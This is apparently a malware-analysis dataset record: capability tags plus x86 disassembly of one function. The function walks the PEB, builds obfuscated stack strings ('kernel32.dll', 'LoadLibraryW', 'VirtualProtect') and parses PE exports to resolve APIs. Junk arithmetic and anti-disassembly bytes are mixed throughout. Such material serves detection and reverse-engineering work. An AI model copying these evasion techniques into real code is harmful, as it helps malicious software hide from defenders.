Function at 0x10038c3c
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add ebx, 0x112f4
xor ebx, 0x38ec
pop ebx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push esi
add esi, 0xe467
add esi, 0x86f9
sub esi, 0x3c80
pop esi
push ebx
push edi
add esp, 4
or ebx, 0xee3
or ebx, 0xbd14
sub ebx, 0x12cca
xor ebx, 0x4ee2
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x1624], ecx
push esi
push edx
add esp, 4
and esi, 0x55a7
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0xb0a3
xor ecx, 0xee9a
pop ecx
push esi
push ebx
add esp, 4
jmp 0x10038948
xor esi, 0xe0ee
pop esi
cmp dword [ebp - 0x1624], 0
jne 0x10038967
mov dword [ebp - 0x300], 0
jmp 0x10038c0e
mov edx, dword [ebp - 0x1624]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd8], ecx
push esi
or esi, 0x69fb
pop esi
push edi
call 0x1003898f
add byte [ebx], bh
xor al, byte [edi + 0x3b]
dec ecx
cmp byte [ebx], dh
add esp, 4
jmp 0x10038998
and edi, 0x15f34
pop edi
push edi
push edi
add esp, 4
sub edi, 0x185c6
pop edi
cmp dword [ebp - 0xcd8], 0
jne 0x100389c3
mov dword [ebp - 0x300], 0
jmp 0x10038c0e
mov edx, dword [ebp - 0xcd8]
mov dword [ebp - 0x510], edx
push eax
xor eax, 0x12572
pop eax
push edi
push edx
add esp, 4
call 0x100389eb
add byte [eax + 0x38], dl
cmp al, 0x36
dec esp
aas
inc ecx
add esp, 4
sub edi, 0xa9fb
xor edi, 0x408f
or edi, 0xd0d9
pop edi
lea eax, [ebp - 0x1754]
mov dword [ebp - 0xcd4], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd0], edx
xor eax, eax
mov word [ebp - 0x238], ax
xor ecx, ecx
mov word [ebp - 0x4c], cx
push edx
push edi
add esp, 4
and edx, 0xa931
pop edx
push eax
or eax, 0xc0a9
sub eax, 0x37bb
pop eax
push ecx
push edx
add esp, 4
add ecx, 0x1cab
or ecx, 0x11f01
and ecx, 0x51f9
pop ecx
mov edx, dword [ebp - 0xcd0]
mov ax, word [edx]
mov word [ebp - 0x1052], ax
mov ecx, dword [ebp - 0xcd0]
add ecx, 2
mov dword [ebp - 0xcd0], ecx
mov dx, word [ebp - 0x1052]
mov word [ebp - 0x238], dx
mov eax, dword [ebp - 0xcd4]
mov cx, word [eax]
mov word [ebp - 0x1054], cx
mov edx, dword [ebp - 0xcd4]
add edx, 2
mov dword [ebp - 0xcd4], edx
mov ax, word [ebp - 0x1054]
mov word [ebp - 0x4c], ax
push ecx
push ebx
add esp, 4
jmp 0x10038ac0
add ecx, 0xd2e2
and ecx, 0x4cf3
pop ecx
push edx
push eax
add esp, 4
and edx, 0x1eee
jmp 0x10038adf
and edx, 0x293b
pop edx
movzx ecx, word [ebp - 0x4c]
test ecx, ecx
jne 0x10038b03
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
sub edx, eax
mov dword [ebp - 0x162c], edx
jmp 0x10038b5d
movzx ecx, word [ebp - 0x238]
movzx edx, word [ebp - 0x4c]
cmp ecx, edx
je 0x10038a2b
movzx eax, word [ebp - 0x238]
xor eax, 0x20
movzx ecx, word [ebp - 0x4c]
cmp eax, ecx
je 0x10038a2b
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
cmp edx, eax
jge 0x10038b47
mov dword [ebp - 0x1628], 0xffffffff
jmp 0x10038b51
mov dword [ebp - 0x1628], 1
mov ecx, dword [ebp - 0x1628]
mov dword [ebp - 0x162c], ecx
cmp dword [ebp - 0x162c], 0
jne 0x10038ba6
push edx
add edx, 0x15a7a
add edx, 0x1000b
call 0x10038b82
add byte [esi], dh
dec edx
cmp al, byte [ecx + 0x32]
dec ecx
inc esi
dec esi
dec ebx
add esp, 4
pop edx
push edx
push ecx
add esp, 4
and edx, 0x2cef
add edx, 0x10b3a
pop edx
mov edx, dword [ebp - 0x510]
mov dword [ebp - 0x300], edx
jmp 0x10038c0e
push esi
add esi, 0x173bc
xor esi, 0xf596
pop esi
push edx
add edx, 0xbd20
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0x42d2
jmp 0x10038bce
jmp 0x10038bd7
pop ebx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov dword [ebp - 0x510], ecx
mov edx, dword [ebp - 0x510]
cmp edx, dword [ebp - 0xcd8]
je 0x10038c04
mov eax, dword [ebp - 0x510]
cmp dword [eax + 0x30], 0
jne 0x100389cf
mov dword [ebp - 0x300], 0
push esi
push edi
add esp, 4
or esi, 0xe64b
call 0x10038c26
add byte [ebp + 0x35], cl
inc edx
xor cl, byte [ebx + 0x35]
xor eax, 0x8104c483
out 0xe7, al
sub byte [ecx], al
add al, ch
or byte [eax], al
add byte [eax], al
add byte [ebp + 0x46], cl
inc esi
push eax
dec esp
cmp al, byte [ebx - 0x7ca1fb3c]
mov ebp, 0xfffffd00
add byte [edi], cl
test eax, edi
or byte [eax], al
add byte [ecx + 0x6b], bh
mov word [ebp - 0x17ac], cx
mov edx, 0x65
mov word [ebp - 0x17aa], dx
mov eax, 0x72
mov word [ebp - 0x17a8], ax
mov ecx, 0x6e
mov word [ebp - 0x17a6], cx
mov edx, 0x65
mov word [ebp - 0x17a4], dx
mov eax, 0x6c
mov word [ebp - 0x17a2], ax
mov ecx, 0x33
mov word [ebp - 0x17a0], cx
mov edx, 0x32
mov word [ebp - 0x179e], dx
mov eax, 0x2e
mov word [ebp - 0x179c], ax
mov ecx, 0x64
mov word [ebp - 0x179a], cx
mov edx, 0x6c
mov word [ebp - 0x1798], dx
mov eax, 0x6c
mov word [ebp - 0x1796], ax
xor ecx, ecx
mov word [ebp - 0x1794], cx
push edi
push eax
add esp, 4
and edi, 0xd8b
sub edi, 0x62fa
jmp 0x10038cfe
pop edi
push eax
push ecx
add esp, 4
add eax, 0x13104
add eax, 0x513a
jmp 0x10038d17
pop eax
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x19c4], edx
mov eax, dword [ebp - 0x19c4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x19c8], ecx
mov edx, dword [ebp - 0x19c8]
mov dword [ebp - 0x1630], edx
push ebx
push edi
add esp, 4
call 0x10038dad
add byte [ecx + 0x35], cl
dec ebp
cmp dword [esi + 0x3e], eax
xor eax, dword [ebx + 0x565b04c4]
sub esi, 0x8e52
sub esi, 0x1a88
or esi, 0xf526
pop esi
push ecx
and ecx, 0x14d97
pop ecx
cmp dword [ebp - 0x1630], 0
jne 0x10038de5
mov dword [ebp - 0x778], 0
jmp 0x1003908c
mov eax, dword [ebp - 0x1630]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xce4], edx
push ecx
xor ecx, 0x10ad8
and ecx, 0x80b7
xor ecx, 0xf6b4
pop ecx
push ebx
push ebx
add esp, 4
or ebx, 0xaa05
pop ebx
push ecx
push esi
add esp, 4
xor ecx, 0x5643
sub ecx, 0x14c0e
pop ecx
cmp dword [ebp - 0xce4], 0
jne 0x10038e41
mov dword [ebp - 0x778], 0
jmp 0x1003908c
mov eax, dword [ebp - 0xce4]
mov dword [ebp - 0x514], eax
push edi
or edi, 0x5016
add edi, 0xce4e
or edi, 0xc1be
pop edi
push ebx
push esi
add esp, 4
jmp 0x10038e6c
or ebx, 0x6c7c
sub ebx, 0xd77f
or ebx, 0xf6c2
pop ebx
lea ecx, [ebp - 0x17ac]
mov dword [ebp - 0xce0], ecx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xcdc], eax
xor ecx, ecx
mov word [ebp - 0x23c], cx
xor edx, edx
mov word [ebp - 0x50], dx
push esi
push edi
add esp, 4
jmp 0x10038eb6
xor esi, 0x57ba
xor esi, 0x14c2e
pop esi
push ecx
xor ecx, 0x9955
call 0x10038ed7
add byte [esi + 0x40], al
inc edi
xor eax, dword [eax + 0x33]
cmp byte [ebx - 0x74a6fb3c], al
test dword [ebx + esi*8], esp
invalid
push edi
push esi
add esp, 4
or edi, 0x177e4
or edi, 0x101b2
sub edi, 0x3c78
pop edi
push ebx
xor ebx, 0x78ef
pop ebx
push edi
push esi
add esp, 4
sub edi, 0xc5e
add edi, 0x118d2
pop edi
cmp dword [ebp - 0x778], 0
jne 0x10039108
push edi
call 0x100390d4
add byte [eax + 0x4c], cl
aas
dec ebp
dec ebp
inc ecx
add esp, 4
and edi, 0x120fb
and edi, 0x625c
xor edi, 0xd6b3
pop edi
push ebx
push eax
add esp, 4
jmp 0x100390f8
pop ebx
mov dword [ebp - 0xae0], 0
jmp 0x10039c30
push ecx
sub ecx, 0x6549
jmp 0x10039115
and ecx, 0x5619
pop ecx
push edi
push esi
add esp, 4
and edi, 0x14bb6
add edi, 0xb706
and edi, 0x15d51
xor edi, 0x1c28
pop edi
mov edx, dword [ebp - 0x778]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x788], 0
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x163c], ecx
cmp dword [ebp - 0x163c], 0
jne 0x10039179
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], edx
jmp 0x1003946a
mov eax, dword [ebp - 0x163c]
mov ecx, dword [ebp - 0x35c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1640], ecx
jne 0x100391a1
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], edx
jmp 0x1003946a
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1640]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x1684], eax
cmp dword [ebp - 0x1684], 0
jne 0x100391d3
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], ecx
jmp 0x1003946a
mov edx, dword [ebp - 0x35c]
add edx, dword [ebp - 0x1684]
mov dword [ebp - 0x77c], edx
jne 0x100391f8
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], eax
jmp 0x1003946a
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x35c]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x35c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x35c]
add eax, dword [edx + 0x1c]
sbb al, 0x89
test dword [esi], ebp
invalid
inc edi
test dword [eax + 0xfffff8], eax
add byte [eax], al
add bl, ch
invalid